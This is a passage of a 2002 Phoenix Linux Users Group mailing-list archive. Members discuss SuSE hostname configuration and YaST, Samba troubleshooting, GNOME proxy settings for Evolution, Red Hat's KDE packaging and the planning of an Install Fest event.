x7aL47MbwnUjcXA35miRvU/F > =qGzn > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:15:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 20:15:26 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> Message-ID: <007801c21e52$0ce15240$2f7c0d82@peyote> > slr wrote: > > > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > > does list the name, but that's not required. > > > > if /etc/hosts has nothing to do with what the real hostname is. then why in > > the /etc/rc.config file right above the statement: > > > > FQHOSTNAME=blah.hostname.com > > > > does it state: > > > > Hostname of the system (full name) > > Don't forget to edit your /etc/hosts appropriately > > > > and BTW, thx George for the clue to /etc/rc.config. > > No problem. > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > > otherwise be ignored. > > > > sl in SuSE is YaST the preferred way of making system changes? > > Yes, and this drove me batty. I cut my teeth learning config files and > making symlinks in the start up scripts, so YaST was a major annoyance. > Now, I live with YaST because SuSE supports the Linux Standards Base, > and some other distros do not. Today's YaST really rocks, so I am > getting used to doing the point and click administration. > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > I wanted to monitor my CPU temperature. I installed the sensors > package, and YaST installed the proper entries in /etc/modules.conf for > me. > > The "gotcha" with YaST is when you install a new service, like LDAP, you > must enable the new service in YaST, because every init script asks YaST > if that service is supposed to start up. The other "gotcha" is that > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > George ok, i will use YaST like a good lizard. :~D looking at the choices i had, SuSE was the only Distro i could find that had a newer kernel written for the sparc64. all the others lagged behind! so after spending time with it at work, i am thinking about nuking RH7.1 and installing the new SuSE on my workstation @home. Should i X RH? slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Thu, 27 Jun 2002 20:26:46 -0700 Subject: OT: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <3D1BD776.7000804@ttlexceeded.com> George Toft wrote: >[...] >A five year old boy in Thailand has passed Microsoft's Office User >Specialist examination (MOUS), and won himself a copy of Bill Gates >masterpiece Business At The Speed of Light... > >http://www.theregister.co.uk/content/28/25874.html > As if child labor and sweatshops weren't cruel enough! - Bob > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:58:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 20:58:01 -0700 (MST) Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: Am 27. Jun, 2002 schwätzte Dr.G so: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was I don't think that's what anyone was proposing. I hope it wasn't. I try to get people to mail the list rather than going to me directly. Admittedly I sometimes go directly to a few people because I know they're working on the project in question or I specifically want their opinion. What was proposed was to email the people on the list and ask them to sign up. That's SPAM and I, personally, am very much against that. Announcing it as a new project on the appropriate lists is fine. That will get better reception, so that's the way to go anyway. The db thing should be totally an opt-in thing, e.g. you initiate your entry and you maintain it. I think that's what's been proposed. > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > you, and then saying "Oh, well, its OPT-Out..." Opt-out should be illegal. At the international level. Period. Actually, at the intergalactic level! ciao, der.hans -- # https://www.LuftHans.com/ # When I work, I work hard. When I play, I play hard. # When I sit, I sleep. - Embe Kugler From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:33:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:33:09 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <009601c21e54$85fafda0$0301010a@tickticker.com> I'd like to thank everyone for the smb info. i was having major problems browsing from my winsnooze boxes. after getting my hostname situated, even that backward os can share on a consistant basis. now i can move all my data from MS to Linux and complete my happy home. another happy customer! anthony ----- Original Message ----- From: "slr" To: Sent: Thursday, June 27, 2002 8:15 PM Subject: Re: SuSE 7.3 sparc64 > > slr wrote: > > > > > > > /etc/hosts has nothing to do with what the real hostname. It's better > if it > > > > does list the name, but that's not required. > > > > > > if /etc/hosts has nothing to do with what the real hostname is. then why > in > > > the /etc/rc.config file right above the statement: > > > > > > FQHOSTNAME=blah.hostname.com > > > > > > does it state: > > > > > > Hostname of the system (full name) > > > Don't forget to edit your /etc/hosts appropriately > > > > > > and BTW, thx George for the clue to /etc/rc.config. > > > > No problem. > > > > > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but > should > > > > otherwise be ignored. > > > > > > sl in SuSE is YaST the preferred way of making system changes? > > > > Yes, and this drove me batty. I cut my teeth learning config files and > > making symlinks in the start up scripts, so YaST was a major annoyance. > > Now, I live with YaST because SuSE supports the Linux Standards Base, > > and some other distros do not. Today's YaST really rocks, so I am > > getting used to doing the point and click administration. > > > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > > I wanted to monitor my CPU temperature. I installed the sensors > > package, and YaST installed the proper entries in /etc/modules.conf for > > me. > > > > The "gotcha" with YaST is when you install a new service, like LDAP, you > > must enable the new service in YaST, because every init script asks YaST > > if that service is supposed to start up. The other "gotcha" is that > > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > > > George > > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 22:58:39 -0400 (EDT) Subject: Install fest interest generation In-Reply-To: <006101c21df8$0c11c020$0301010a@tickticker.com> Message-ID: On Thu, 27 Jun 2002, tickticker wrote: > haven't visited yet, but post a flyer on the installfestwest site that can > easily be downloaded and printed. Michelle Lowman has generously offered to head up the flyer effort. Of course, we have to confirm the date and location first. Foodog is looking into the GCC Student Union. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:01:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 28 Jun 2002 00:01:01 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <3D1BDF7D.5983F15D@georgetoft.com> slr wrote: [snip] > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? I fond SuSE is a much more responsive company than Red Hat, so I would, but it is up to you. I say they are more responsive as I suggested they add mplayer to their distro, and about a month later, I got a note from them saying they would. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:02:35 -0400 (EDT) Subject: Install Fest II 0626 Status In-Reply-To: <3D1BA01C.8D86CEBF@cox.net> Message-ID: Very agreed! Who wants to take the position as presentation coordinator? I'm guessing we could leverage the presentations from last time. On Thu, 27 Jun 2002, Lee Einer wrote: > It would be great to have a published schedule of the presentations, > too. > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:08:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Thu, 27 Jun 2002 13:08:37 -0700 Subject: Samba Help?? Message-ID: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> 1. Check to see that nmbd and smbd process are still running. Try killing them and then restarting them again. 2. 'nmbd' handles the browsing aspects of Samba. Check the log files. You can usually find some clues as to what went wrong. It should be something like nmbd.log, or samba.log, or something. They way they are configured depends on how samba is configured. So check smb.conf. Also check the debug level, since this affects what kind of messages are logged. 3. Sometimes windows networks (especially large domains and workgroups) take a long time to update and propogate. I've seen instances where it can take several hours to update. Sometimes though, I've seen a machine that just refuses to show up on the network without any explanation. In that case, I've changed the Samba hostname (different than you Linux hostname) and finally got it to work. Hope this helps. >--__--__-- > >Message: 2 >From: Carl Parrish >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Samba Help?? >Date: Thu, 27 Jun 2002 14:13:54 -0400 >Reply-To: plug-discuss@lists.plug.phoenix.az.us > >I let some Window users talk me into rebooting my Linux box to try to fix a problem >now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I >can't see any of the window boxes on the network anyone have any ideas? > > >Carl P. > > >--__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:07:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 27 Jun 2002 16:07:40 -0700 Subject: Questions about RH, Gnome, and Evolution References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <3D1B9ABC.316FCD18@phillipsmarketing.biz> I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, I did read it) says I need to either use nautilus or gconftool to tell the gnome-vfs about my proxy. Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. Does anyone know where I can find this really fabulous, and yet mysterious, tool? Thanks! Mark P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as well! ;) P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this problem! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:32:29 -0400 (EDT) Subject: Install Fest II 06-27 Status In-Reply-To: Message-ID: As always, corrections and feedback are encouraged. Thanks Everyone! Install Fest II - 06-27 Status ----------------------------- News: Technomage is our first installer volunteer. He does Mandrake and RedHat in expert mode. Jonathon Claxton is our first demonstrator volunteer. Jonathon will be showing off the lighter side of Linux with some video games. Barring objection, I'm going to drop the member database decision as an Install Fest issue. It seems like it's beyond Install Fest's scope. Have tentatively confirmed 11 of the suggestions. These seem to be the most popular and/or the easiest to do. Have tentatively verified 8 unfilled volunteer positions. Suggestions: + More Install Stations + Press Releases on 31 July and 31 Aug + School (K-12) Oriented Press Release(s) + School (College) Oriented Press Release(s) + School (K-12,College) Direct Invitations + Mailing List Registration - Current Lists + May We Contact You? - Attendees + May We Contact You? - Install Customers + Demo Zone With Demonstrators + Presentations + PLUG Promotional Materials (PLUG Flyer) - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - Demo - Win/Lin Shootout / Corporate Usability - PLUG Promotional Materials (PLUG T-Shirt) - Homemade Cheesecake - 802.11 x Member Database (this project is independant of Install Fest) Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Installers: Technomage (pending location): RedHat, Mandrake Demonstrators: Jonathon Claxton: Video Games Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). - Demonstrators Be on hand day of show to demo Linux's mind-bending power. Please make sure that a computer with the proper gear will be on hand (bring your own may be the best call). - School Invitation Coordinator Arrange direct contact to as many valley schools as possible. Middle school through college may be the best bets. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - 802.11 Arrange use of appropriate wireless gear. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:48:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 21:48:03 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <3D1B9ABC.316FCD18@phillipsmarketing.biz> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> Message-ID: <1025239684.22890.4.camel@bryceco1> On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. You could also re-install nautilus but then try taking away the executable bit. That's how I temporarily disable cron scripts. P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail me off-list for help with possible proxy problems. Now that's a tongue twister. Bryce C. Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net On Thu, 2002-06-27 at 16:07, Mark Phillips wrote: > I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, > I did read it) says I need to either use nautilus or gconftool to tell the gnome-vfs about my proxy. > > Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on > the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. > > Does anyone know where I can find this really fabulous, and yet mysterious, tool? > > Thanks! > > Mark > > P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as > well! ;) > > P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this > problem! > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 05:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 22:29:36 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <1025239684.22890.4.camel@bryceco1> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> <1025239684.22890.4.camel@bryceco1> Message-ID: <1025242176.21204.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 21:48, Bryce C wrote: > On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. > You could also re-install nautilus but then try taking away the > executable bit. That's how I temporarily disable cron scripts. > > P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail > me off-list for help with possible proxy problems. Now that's a tongue > twister. ---- pkgconfig-0.12.0-1 Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:26:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 23:26:34 -0700 Subject: Windowed Games Message-ID: <200206272326.34988.krycom1@cox.net> Is there a way to hide the mouse pointer when playing games that are windowed. Some of the games you can not make full screen and if your pointer moves out of the window you lose control. I was wondering if there was some way around this? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:52:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 27 Jun 2002 23:52:09 -0700 (MST) Subject: Windowed Games In-Reply-To: <200206272326.34988.krycom1@cox.net> Message-ID: Have you tried changing the focus behavior in the Window Manager? I don't like my windows changing focus just beacuse I moved the mouse/pointer so I set focus to something like 'clicked' On Thu, 27 Jun 2002, Richard L. Proctor wrote: > > Is there a way to hide the mouse pointer when playing games that are windowed. > Some of the games you can not make full screen and if your pointer moves out > of the window you lose control. I was wondering if there was some way around > this? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 10:43:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 03:43:44 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <200206271502.25609@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> <200206271502.25609@granroth.org> Message-ID: <1025261024.23103.0.camel@barney.azapple.com> On Thu, 2002-06-27 at 15:02, Kurt Granroth wrote: > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > ----- From this months archives on valhalla-list@redhat.com << What I'm pretty sure the statement from the KDE is based on is the fact that Red Hat takes the KDE code from them and then makes some changes which we feel are necessary. So, that makes it different from the code that the KDE guys ship and that's "not a good thing" in their opinion. As for the Red Hat employee that builds KDE packages in his spare time, that's not the case at all. Although building KDE packages isn't his only job function, it is one of them, so I definitely wouldn't call that "spare time." Thanks, jkt -- --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* Jay Turner, QA Manager jkt@redhat.com Red Hat, Inc. >> From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 11:15:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 04:15:12 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <1025262912.23103.32.camel@barney.azapple.com> On Thu, 2002-06-27 at 13:58, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) > ---- Would I settle for a product that is 70 to 80% complete? I do every day all the time. That is the very nature of open source software. I also use cvs on projects and yes that is exactly what I am settling for. The only other option is a rollback to the last 'stable'. With every distro, someone has to make the decision on what to include...and when you have a project like KDE which progresses rapidly, the decision to use the last stable or a more recent checkout from cvs is strictly the person's call that is packaging it up. In RH 7.3 distro, the KDE release was a post-3.0.0 checkout used and it already incorporated a lot of what is 3.0.1...the figure of 70 to 80% wasn't mine but it was my hazy recollection of another's on the valhalla-list@redhat.com - which when I searched the archives, was actually 90% but that isn't material at all. No doubt some things have changed since it was packaged for 7.3. There is a more up to date version in rawhide - pretty typical of redhat to take the fast changing projects and put the updates in rawhide since rawhide represents the edge of development but not to be supported...only for testing. Obviously when the packages are installed by users such as you and I and we report back on our experiences, then they adjust as necessary. I wish your attitude didn't always reflect a chip on your shoulder. Bero's attitude has nothing to do with customer service. He's a software engineer doing his job. If you don't like the decisions that RedHat makes in packaging the binaries...then you can roll your own...download the source code to KDE 3.0.1 and install it yourself. My guess is that if you knew what you were doing, that you would want to use the cvs of KDE 3.1 and be settling for less than 70-80% at this moment but that's the beauty of open source...you can do that. But if you merely want to work with 'stable' releases, you can install the rpm-development package and you can create your own source rpm's, compile and install them just like any other rpm binary that you get from redhat and install it. I know that Bero felt that nothing of enough significance changed from the KDE 3.0.0 checkout that he used in RH 7.3 and the 'stable' KDE 3.0.1 to warrant an official errata update. If you Tom Achtenberg feel he is 'an example of horrible customer service', I would suggest that you send your appraisals to him... bero@redhat.de and spare us some of your uniformed outbursts. Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:33:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:33:25 -0700 Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> <02062711473913.07972@nova.wedge.org> Message-ID: <1025274805.28579.43.camel@hawk> I'm always up for a party . As soon as I get a free min I'll start planning one (course 1.5 will proably be out by then ). Btw my samba problem seems to have fixed itself. Carl P. On Thu, 2002-06-27 at 11:47, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: > > On Thursday 27 June 2002 11:13, you wrote: > > I let some Window users talk me into rebooting my Linux box to try to fix a > > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > > /usr/bin/nmbd but now I can't see any of the window boxes on the network > > anyone have any ideas? > > > > > > Carl P. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 > NO8W5AXnnLvebNqFIB23wcY1 > =d6FU > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:36:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:36:08 -0700 Subject: Samba Help?? In-Reply-To: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> References: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> Message-ID: <1025274968.28580.46.camel@hawk> On Thu, 2002-06-27 at 13:08, Yicheng Li wrote: > > 3. Sometimes windows networks (especially large domains and workgroups) > take a long time to update and propogate. I've seen instances where it can > take several hours to update. Sometimes though, I've seen a machine that > just refuses to show up on the network without any explanation. In that > case, I've changed the Samba hostname (different than you Linux hostname) > and finally got it to work. > > Hope this helps. > this most have been the problem because I was running nmblookup on machines that weren't showing up then a few hours later (where I'm sure I didn't do anything significant) they showed up. Weird. Carl P. > > >--__--__-- > > > >Message: 2 > >From: Carl Parrish > >To: plug-discuss@lists.plug.phoenix.az.us > >Subject: Samba Help?? > >Date: Thu, 27 Jun 2002 14:13:54 -0400 > >Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > >I let some Window users talk me into rebooting my Linux box to try to fix a > problem >now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I >can't see any of the window boxes on the network > anyone have any ideas? > > > > > >Carl P. > > > > > >--__--__-- > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:25:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 28 Jun 2002 08:25:32 -0700 (PDT) Subject: eterm Message-ID: <20020628152532.51417.qmail@web10603.mail.yahoo.com> When I was at installfest, I had Kevin O install a terminal window program called Eterm for Mandrake 8.2. Is there one for RH 7.2? Is there a binary I can download? I don't even know where to begin.. I can use the standard one that came with my RH, but the one Kevin O installed looks cool.. ;-) Thanks in Advance. ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:45:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 08:45:22 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: <3D1BDF7D.5983F15D@georgetoft.com> References: <007801c21e52$0ce15240$2f7c0d82@peyote> <3D1BDF7D.5983F15D@georgetoft.com> Message-ID: <200206280845.22545.zen2now@qwest.net> WoW!!! thats impressive that they even wrote you back. KUDO's to SuSE for that one, well i am becoming very fond of the little lizard. so much so that i want to run it @home. :~D slr On Thursday 27 June 2002 09:01 pm, George Toft wrote: > slr wrote: > [snip] > > > ok, i will use YaST like a good lizard. :~D > > > > looking at the choices i had, SuSE was the only Distro i could find that > > had a newer kernel written for the sparc64. all the others lagged behind! > > so after spending time with it at work, i am thinking about nuking RH7.1 > > and installing the new SuSE on my workstation @home. > > > > Should i X RH? > > I fond SuSE is a much more responsive company than Red Hat, so I would, > but it is up to you. > > I say they are more responsive as I suggested they add mplayer to their > distro, and about a month later, I got a note from them saying they > would. > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 28 Jun 2002 08:53:36 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1AAF95.90809@cox.net> References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> <3D1AAF95.90809@cox.net> Message-ID: <20020628085336.3428cb5c.dickson@permanentmail.com> On Wed, 26 Jun 2002 23:24:21 -0700, Bob Cober wrote: > I paid $179 for RH 7.3 Pro (well, the company did), and am very happy > with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It > also includes a bootable cdrom business card called the "Survival cd". The BBC (Bootable Business Card) is available for downloading at: ftp://ftp.redhat.de/pub/rh-addons/rescue-cd/ At 30MB, the .iso is downloadable even on a dialup connection. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:59:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 08:59:10 -0700 Subject: eterm In-Reply-To: <20020628152532.51417.qmail@web10603.mail.yahoo.com> References: <20020628152532.51417.qmail@web10603.mail.yahoo.com> Message-ID: <1025279950.28130.18.camel@bryceco1> On my Mandrake 8.2, it's under the eterm RPM. Just find it and install it. Alternatively, you could use MandrakeUpdate to search through the uninstalled packages and install it that way. On Fri, 2002-06-28 at 08:25, Alpha Zenon Sanchez wrote: > When I was at installfest, I had Kevin O install a > terminal window program called Eterm for Mandrake 8.2. > > Is there one for RH 7.2? Is there a binary I can > download? I don't even know where to begin.. > > I can use the standard one that came with my RH, but > the one Kevin O installed looks cool.. ;-) > > Thanks in Advance. > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 16:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Fri, 28 Jun 2002 09:02:59 